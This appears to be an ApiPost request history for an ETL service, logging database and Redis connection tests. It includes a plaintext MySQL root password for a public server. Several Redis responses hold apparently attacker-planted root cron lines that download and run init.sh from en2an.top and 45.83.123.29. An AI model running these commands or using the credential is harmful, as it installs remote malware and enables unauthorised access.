status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":20.0,\"minute\":31.0,\"second\":56.0,\"nano\":8.779197E8}}}]}",
- "ApiPost:METDOD_SEND_RECORD:etl-database-server": "{\"/datasource/testConnectMysql\":[{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"id\\\": 1,\\n \\\"databaseDescription\\\": \\\"\\\",\\n \\\"linkAddress\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": \\\"9098\\\",\\n \\\"databaseName\\\": \\\"\\\",\\n \\\"status\\\": 1,\\n \\\"explain\\\": \\\"\\\",\\n \\\"extraEvlop\\\": \\\"\\\",\\n \\\"databaseType\\\": 1,\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\",\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"createTime\\\": \\\"\\\",\\n \\\"updateTime\\\": \\\"\\\",\\n \\\"createBy\\\": 1,\\n \\\"updateBy\\\": 1,\\n \\\"isDelete\\\": 1\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/datasource/testConnectMysql\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"数据源描述不能为空, 数据库名称不能为空\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":11.0,\"minute\":40.0,\"second\":1.0,\"nano\":2.765494E8}}},{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"linkAddress\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": \\\"9098\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/datasource/testConnectMysql\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"数据源描述不能为空, 数据库类型id不能为空, 数据库名称不能为空\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":11.0,\"minute\":40.0,\"second\":13.0,\"nano\":9.466961E8}}},{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"id\\\": 1,\\n \\\"databaseDescription\\\": \\\"\\\",\\n \\\"linkAddress\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": \\\"9098\\\",\\n \\\"databaseName\\\": \\\"\\\",\\n \\\"status\\\": 1,\\n \\\"explain\\\": \\\"\\\",\\n \\\"extraEvlop\\\": \\\"\\\",\\n \\\"databaseType\\\": 1,\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\",\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"createTime\\\": \\\"\\\",\\n \\\"updateTime\\\": \\\"\\\",\\n \\\"createBy\\\": 1,\\n \\\"updateBy\\\": 1,\\n \\\"isDelete\\\": 1\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": null\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":11.0,\"minute\":41.0,\"second\":50.0,\"nano\":2.707687E8}}},{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"id\\\": 1,\\n \\\"databaseDescription\\\": \\\"\\\",\\n \\\"linkAddress\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": \\\"9098\\\",\\n \\\"databaseName\\\": \\\"etl\\\",\\n \\\"status\\\": 1,\\n \\\"explain\\\": \\\"\\\",\\n \\\"extraEvlop\\\": \\\"\\\",\\n \\\"databaseType\\\": 1,\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\",\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"createTime\\\": \\\"\\\",\\n \\\"updateTime\\\": \\\"\\\",\\n \\\"createBy\\\": 1,\\n \\\"updateBy\\\": 1,\\n \\\"isDelete\\\": 1\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": null\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":11.0,\"minute\":44.0,\"second\":33.0,\"nano\":2.39554E7}}},{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"id\\\": 1,\\n \\\"databaseDescription\\\": \\\"\\\",\\n \\\"linkAddress\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": \\\"9098\\\",\\n \\\"databaseName\\\": \\\"etl\\\",\\n \\\"status\\\": 1,\\n \\\"explain\\\": \\\"\\\",\\n \\\"extraEvlop\\\": \\\"\\\",\\n \\\"databaseType\\\": 1,\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\",\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"createTime\\\": \\\"\\\",\\n \\\"updateTime\\\": \\\"\\\",\\n \\\"createBy\\\": 1,\\n \\\"updateBy\\\": 1,\\n \\\"isDelete\\\": 1\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": null\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":11.0,\"minute\":44.0,\"second\":51.0,\"nano\":2.683386E8}}},{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"id\\\": 1,\\n \\\"databaseDescription\\\": \\\"\\\",\\n \\\"linkAddress\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": \\\"9098\\\",\\n \\\"databaseName\\\": \\\"\\\",\\n \\\"status\\\": 1,\\n \\\"explain\\\": \\\"\\\",\\n \\\"extraEvlop\\\": \\\"\\\",\\n \\\"databaseType\\\": 1,\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\",\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"createTime\\\": \\\"\\\",\\n \\\"updateTime\\\": \\\"\\\",\\n \\\"createBy\\\": 1,\\n \\\"updateBy\\\": 1,\\n \\\"isDelete\\\": 1\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": null\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":11.0,\"minute\":52.0,\"second\":31.0,\"nano\":9.074105E8}}},{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"123\\\",\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"databaseName\\\": \\\"\\\",\\n \\\"tableName\\\": \\\"\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/datasource/testConnectMysql\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"驱动类名不能为空\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":14.0,\"minute\":49.0,\"second\":56.0,\"nano\":3.833093E8}}},{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"123\\\",\\n \\\"driverClassName\\\": \\\"mysql\\\",\\n \\\"databaseName\\\": \\\"\\\",\\n \\\"tableName\\\": \\\"\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 500,\\n \\\"msg\\\": \\\"连接失败\\\",\\n \\\"data\\\": null\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":14.0,\"minute\":50.0,\"second\":6.0,\"nano\":3.723239E8}}},{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://115.159.33.152:3306/\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"lzm@123\\\",\\n \\\"data\\\": 0\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"连接成功\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":14.0,\"minute\":56.0,\"second\":27.0,\"nano\":2.586714E8}}},{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://115.159.33.152:3306/\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"lzm@123\\\",\\n \\\"warehouseName\\\": \\\"etl\\\",\\n \\\"data\\\": 0\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"连接成功\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":14.0,\"minute\":56.0,\"second\":41.0,\"nano\":8.300642E8}}},{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://115.159.33.152:3306/\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"lzm@123\\\",\\n \\\"tableName\\\":\\\"t_data_source_etl\\\",\\n \\\"warehouseName\\\": \\\"etl\\\",\\n \\\"data\\\": 0\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"连接成功\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":14.0,\"minute\":58.0,\"second\":9.0,\"nano\":2.161148E8}}},{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://115.159.33.152:3306/\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"lzm@123\\\",\\n \\\"warehouseName\\\": \\\"etl\\\",\\n \\\"data\\\": 0\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"连接成功\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":15.0,\"minute\":11.0,\"second\":31.0,\"nano\":3.41729E7}}}],\"/datasource/findDatabaseTable\":[{\"url\":\"http://localhost:9098/datasource/findDatabaseTable\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://115.159.33.152:3306/\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"lzm@123\\\",\\n \\\"warehouseName\\\": \\\"etl\\\",\\n \\\"data\\\": 0\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": [\\n \\\"information_schema\\\",\\n \\\"dimensional_health\\\",\\n \\\"etl\\\",\\n \\\"follow\\\",\\n \\\"followtwo\\\",\\n \\\"mall-app-web\\\",\\n \\\"mall-car\\\",\\n \\\"mall-cloud\\\",\\n \\\"mall-config\\\",\\n \\\"mall-product\\\",\\n \\\"mall-seata\\\",\\n \\\"mysql\\\",\\n \\\"nacos_config\\\",\\n \\\"performance_schema\\\",\\n \\\"pra\\\",\\n \\\"product\\\",\\n \\\"ry-cloud\\\",\\n \\\"seata\\\",\\n \\\"skywalking\\\",\\n \\\"sys\\\",\\n \\\"xxl_job\\\",\\n \\\"zzl_job\\\"\\n ]\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":15.0,\"minute\":11.0,\"second\":42.0,\"nano\":8.602058E8}}}],\"/redis/testDatabaseRedis\":[{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\nConnectException: Connection refused: connect\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":14.0,\"second\":48.0,\"nano\":1.67661E7}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": {\\n \\\"backup1\\\": \\\"\\\\n\\\\n\\\\n*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup4\\\": \\\"\\\\n\\\\n\\\\n*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup2\\\": \\\"\\\\n\\\\n\\\\n*/3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup3\\\": \\\"\\\\n\\\\n\\\\n*/4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh\\\\n\\\\n\\\"\\n }\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":16.0,\"second\":58.0,\"nano\":1.862066E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":16.0,\"second\":59.0,\"nano\":1.716174E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": {\\n \\\"backup1\\\": \\\"\\\\n\\\\n\\\\n*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup4\\\": \\\"\\\\n\\\\n\\\\n*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup2\\\": \\\"\\\\n\\\\n\\\\n*/3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup3\\\": \\\"\\\\n\\\\n\\\\n*/4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh\\\\n\\\\n\\\"\\n }\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":16.0,\"second\":59.0,\"nano\":1.964107E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":16.0,\"second\":59.0,\"nano\":3.21528E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":16.0,\"second\":59.0,\"nano\":4.903581E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":16.0,\"second\":59.0,\"nano\":9.475154E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":0.0,\"nano\":1.476129E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": {\\n \\\"backup1\\\": \\\"\\\\n\\\\n\\\\n*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup4\\\": \\\"\\\\n\\\\n\\\\n*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup2\\\": \\\"\\\\n\\\\n\\\\n*/3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup3\\\": \\\"\\\\n\\\\n\\\\n*/4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh\\\\n\\\\n\\\"\\n }\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":0.0,\"nano\":1.777844E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":0.0,\"nano\":3.067526E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":0.0,\"nano\":4.988793E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":0.0,\"nano\":8.354335E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":0.0,\"nano\":9.964219E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": 